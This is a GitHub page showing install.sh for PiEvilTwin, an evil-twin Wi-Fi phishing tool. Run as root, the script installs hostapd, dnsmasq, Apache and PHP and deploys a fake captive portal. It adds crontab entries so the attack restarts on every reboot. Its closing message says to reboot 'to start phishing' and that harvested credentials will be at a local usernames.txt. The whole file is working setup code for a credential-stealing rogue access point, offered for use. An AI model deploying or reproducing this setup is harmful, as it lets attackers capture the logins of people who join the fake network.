-
-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathinstall.sh
35 lines (32 loc) · 1.26 KB
/
install.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/sh -e
if [ "$(id -u)" != "0" ]; then
echo "This script must be run as root." 1>&2
exit 1
fi
echo "Installing dependencies..."
apt-get install -y macchanger hostapd dnsmasq apache2 php
echo "Configuring components..."
echo "Setting up hostapd..."
cp -f hostapd.conf /etc/hostapd/
echo "Setting up dnsmasq..."
cp -f dnsmasq.conf /etc/
echo "Setting up HTML Files..."
cp -Rf html /var/www/
chown -R www-data:www-data /var/www/html
chown root:www-data /var/www/html/.htaccess
echo "Copying startup script..."
cp -f PiEvilTwinStart.sh /root/
crontab -l | { cat; echo "@reboot sudo sleep 10 && sudo sh /root/PiEvilTwinStart.sh && sudo service dnsmasq restart &"; } | crontab -
echo "Setting up permissions..."
chmod +x /root/PiEvilTwinStart.sh
echo "Setting up Apache Config..."
cp -f override.conf /etc/apache2/conf-available/
cd /etc/apache2/conf-enabled
ln -s ../conf-available/override.conf override.conf
cd /etc/apache2/mods-enabled
ln -s ../mods-available/rewrite.load rewrite.load
echo "..."
crontab -l | { cat; echo "@reboot sudo sleep 10 && sudo service dnsmasq restart &"; } | crontab -
echo "..."
echo "PiEvilTwin captive portal installed. Reboot and wait 30 seconds to start phishing. Credentials will be available here: http://10.1.1.1/usernames.txt"
exit 0